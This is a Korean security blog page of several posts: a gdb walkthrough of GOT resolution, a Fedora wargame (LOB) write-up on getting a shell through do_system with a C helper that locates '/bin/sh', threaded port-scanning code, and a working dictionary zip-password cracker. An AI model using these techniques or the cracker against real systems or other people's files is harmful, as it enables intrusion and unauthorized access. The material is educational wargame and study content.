(gdb) x/12x 0x80495f0-20  //테이블을 보기 좋게 20을 빼준뒤 출력시켜 줌

0x80495dc <_GLOBAL_OFFSET_TABLE_>: 0x08049510 0x007194f8 0x0070e9e0 0x080482ce

0x80495ec <_GLOBAL_OFFSET_TABLE_+16>:0x00730d50 0x0075e660 0x00000000 0x00000000


(gdb) x/3xi *0x80495f0

0x75e660 <printf>: push   %ebp

0x75e661 <printf+1>: mov    %esp,%ebp

0x75e663 <printf+3>: lea    0xc(%ebp),%eax


위 과정을 보면 첫번째 호출 했을때의 과정이 사라지고 printf 함수가 바로 호출 되었음을 볼 수 있다.

즉 첫번째 과정에서 _dl_runtime_resolve 함수가 GOT 테이블에 printf 주소를 입력 시켜 놓은 것이다.




Posted by k1rha
2013. 4. 3. 16:29

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2013. 4. 1. 21:53
[LOB] 페도라 원정대 3 (dark_eyes -> hell_fire)

 

한동안 리모트 환경인줄 모르고 이해가 안갔던 문제,,

 

 

코드는 간단하다 그냥 ebp 를 저장했다가 되돌림으로써 fake_ebp 를 막아놓은 것 말고는 일반적인 버퍼 오버 플로우이다.

다만 리모트 환경이라는 부분을 코드를 찾는데 고생했다.

 

일반적인 페도라 리모트 오버플로우에서 쉘을 획득할때는 execve 보다 system 함수가 더 유용하다. 하지만 system 함수 역시 인자값을 구성해 줘야하는 어려움이 있는데 시스템 함수에는 내부 루틴중에 do_system 함수를 사용 하게 된다.

 

이 do_system 은 내부적으로 execve("/bin/sh","명령어 "); 와 같은 효과를 가지게 되므로 do_system 만 호출하여도 쉘이 올라가게 된다.

 




1. 번외 : [/bin/sh] 주소값 찾기

system 함수 내에는 do_system 이란 함수가 존재하고 이는 /bin/sh 를 인자값으로 쓴다.

때문에 system 함수를 기점으로 문자열을 검색해보면 [/bin/sh] 의 주소값을 찾을 수 있다.



[evil_wizard@Fedora_1stFloor ~]$ cat findsh.c

#include<stdio.h>

int main(int argc, char *argv[]){


int addr=0x007507c5; //system 함수의 주소

while(1){

if(memcmp(addr++,"/bin/sh",8)==0){

printf("[%p]\n",addr);

break;

}

}


return 0;


Posted by k1rha
2013. 3. 26. 23:43

쓰레드를 for문으로 띄워서 속도에 최적화 되게 만드는 것은 부루투 포싱때 매우 유용하다



for tgtPort in tgtPorts:


t = Thread(target=connScan, args=(tgtHost,int(tgtPort)))

t.start()


하지만 이 경우 결과가 뒤죽박숙 섞여서 출력 될 수 있다. 때문에, 세마포어 등을 이용하여 

약간 의 코드 수정을 해주는 것이 좋다.



screenLock = Semaphore(value =1 )

def connScan(tgtHost, tgtPort):

try :

.....


screenLock.acquire()

.....

except :

screenLock.acquire()


finally:

screenLock.release()

connSky.close()



Posted by k1rha
2013. 3. 26. 23:13

keyword  : zip 패스워드 풀기 zip 암호 풀기 zip 파일 암호 깨기 zip 파일 크랙 패스워드 크랙 python 


치명적인 파이썬 책에 있는 내용인데, 정말 재밌는 책인 것 같다. 

이런저런 유용한(?) 코드들이 많은 느낌이다.

아래 내용은 zip 파일 패스워드를 딕셔너리 방식으로 크랙하는 내용이다. 쓰레드를 이용하여 처리 하도록 되어 있고,

좋은 dictionary 나 브루투 포스 알고리즘만 짜두면 나쁘지 않을 것 같다.



usage %prog -f <zipfile> -d <dictionary>

root@ubuntu:/home/k1rha/python/ZIP_CRACK# 



import zipfile

import optparse

from threading import Thread


def extractFile(zFile,password):

try :

zFile.extractall(pwd=password)

print '[+] Found password ' + password + '\n'

except :

pass


def main():


parser = optparse.OptionParser("usage %prog "+\

"-f <zipfile> -d <dictionary>")

parser.add_option('-f',dest='zname', type='string',\

help='secify zip file')


parser.add_option('-d' , dest='dname', type='string',\

help='specify dictionary file')


(options,args) = parser.parse_args()

if(options.zname == None) | (options.dname == None):

print parser.usage

exit(0)


else :

zname = options.zname

dname = options.dname


zFile=zipfile.ZipFile(zname)

passFile = open(dname)

for line in passFile.readlines():

password = line.strip('\n')

t = Thread(target = extractFile , args=(zFile,password))

t.start()


if __name__ == '__main__':

main()

Posted by k1rha